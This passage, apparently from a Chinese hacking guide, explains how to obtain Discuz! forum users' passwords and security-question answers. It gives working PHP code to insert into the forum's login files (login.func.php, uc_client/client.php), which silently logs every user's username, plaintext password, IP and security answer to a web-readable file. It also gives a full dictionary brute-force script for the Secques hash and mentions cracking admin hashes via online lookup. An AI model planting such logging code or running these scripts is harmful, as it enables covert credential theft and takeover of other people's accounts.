Discuz!是目前最好用的论坛程序之一,在Discuz!论坛用户注册过程中设置了安全问题和安全答案进行安全保护,因此,即使攻击者获取了数据库,也会由于不知道安全问题的答案而止步。近年来,由于密码泄露事件的影响和社工库的普及,用户和管理员大都设置了安全验证,所以,获取用户的安全验证问题就非常有必要了。目前,获取用户的安全验证问题的主要方式有两种:一种是通过修改源程序,在其中加入记录代码,截获所有登录用户的登录密码、安全问题和答案;另一种就是暴力破解。本节对这两种方法均进行了实验,且均获得了想要的结果,下面将整个过程与读者分享。
在源程序中加入记录代码的方式相对简单,具体如下。
1.Discuz! 7.1-7.2论坛记录程序的编写及实现
在Discuz! 7.2论坛中找到程序文件login.func.php,在其中加入以下代码。
$ip=$_SERVER['REMOTE_ADDR']; $showtime=date("Y-m-d H:i:s"); $record="<?exit();?>".$username." --------".$password." IP:".$ip."questionid". $questionid."answer".$answer." Time:".$showtime."\r\n"; $handle=fopen('./include/csslog.php','a+'); $write=fwrite($handle,$record);
密码记录和登录文件保存在“include”目录下的cssog.php文件中,打开csslog.php文件即可看到获取的用户记录,如图3-1所示。目前,康盛创想公司基本已经停止对Discuz! 7.2(程序下载地址为http://download.comsenz.com/Discuz/7.2/)的更新。
图3-1 Discuz!7.2论坛密码及验证问题记录
2.Discuz! X2.5-3.1论坛记录程序的编写及实现
在Discuz! X2.5-3.1安装目录的“uc_client”文件夹下找到client.php文件,在“unction uc_user_ login”函数中加入以下代码。
//以下为密码记录程序代码 if(getenv('HTTP_CLIENT_IP')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR')) { $onlineip = getenv('REMOTE_ADDR'); } else { $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR']; } if(getenv('HTTP_CLIENT_IP')) { $onlineip = getenv('HTTP_CLIENT_IP'); } elseif(getenv('HTTP_X_FORWARDED_FOR')) { $onlineip = getenv('HTTP_X_FORWARDED_FOR'); } elseif(getenv('REMOTE_ADDR')) { $onlineip = getenv('REMOTE_ADDR'); } else { $onlineip = $HTTP_SERVER_VARS['REMOTE_ADDR']; } $ip=$onlineip; $showtime=date("Y-m-d H:i:s"); $record="<?exit();?>用户:".$username." 密码:".$password." IP:".$ip." Time:".$showtime." questionid:".$questionid."answer:".$answer."\r\n"; $handle=fopen('./api/csslog.php','a+'); $write=fwrite($handle,$record); //密码记录程序代码结束
用户登录后查看127.0.0.1/api/csslog.php文件,即可获取密码及验证问题答案等信息,效果如图3-2所示。从Questionid 1到Questionid 7分别与设置的验证问题一一对应,如图3-3所示,本例中Questionid 3的对应问题为“父亲出生的城市”。
图3-2 Discuz!X2.5论坛密码及其验证程序记录效果
图3-3 问题ID对应
下面我们一起了解一下Discuz! X2.5论坛密码的安全问题。
1. 获取Secques值
对于Discuz! X2.5及其他版本的论坛程序,解决方法类似。首先要查看用户的Secques值,如图3-4所示,该Secques值为“ca9e47ea”。如果没有这个值,可直接将password:salt值放到cmd5网站进行查询,如图3-5所示,获取管理员密码“123456”。如果设置了安全问题,即使有这个值,即使获取了密码,也无法登录。
图3-4 查看Secques值
图3-5 查询管理员的密码
2.密码安全问题的设置和解除
密码登录安全提问是用户注册成功后通过再次设置“密码安全”实现的。如图3-6所示,Discuz!默认设置了7个安全验证问题,用户只需要选择问题,然后设置对应的答案即可,论坛最高管理员或者创建人可以直接将安全提问清除。设置安全验证问题后,用户登录时除了需要输入用户名和密码外,还需要选择自己设置的安全问题并输入相应的答案,如图3-7所示。
图3-6 设置安全问题
图3-7 用户登录安全问题验证
暴力破解程序代码如下。
<? /*discuz提示问题答案暴力破解程序。*/ error_reporting(0); if($argc<2){ print_r(' -------------------------- Usage: php cracksecques.php hash Example: php cracksecques.php ca9e47ea -------------------------- '); die;} $fd=fopen("pass.dic",r); if(!$fd){ echo "error:打开字典文件错误"; die;} while($buf=fgets($fd)){ for($i=1;$i<8;$i++) { $tmp=substr(md5(trim($buf).md5($i)),16,8); $conn=strcmp($tmp,$argv[1]); if($conn==0) { echo "密码破解成功!\n"."提示问题答案为:".$buf."提示的问题为:".theask ((int)$i)."\n"; die;}}} if($conn!=0){echo"没有正确的密码!";} fclose($fd); function theask($var){ if($var==1){return"母亲的名字"; } elseif($var==2){return"爷爷的名字";} elseif($var==3){return"父亲出生的城市"; } elseif($var==4){return"您其中一位老师的名字";} elseif($var==5){return"您个人计算机的型号"; } elseif($var==6){return"您最喜欢的餐馆名称"; } elseif($var==7){return"驾驶执照最后四位数字";} } ?>
将以上程序代码保存为文件crackdzsecques.php,在Windows下通过“php crackdzsecques.php ca9e47ea”命令进行破解,pass.dic为生成的字典,如图3-8所示。
图3-8 破解安全问题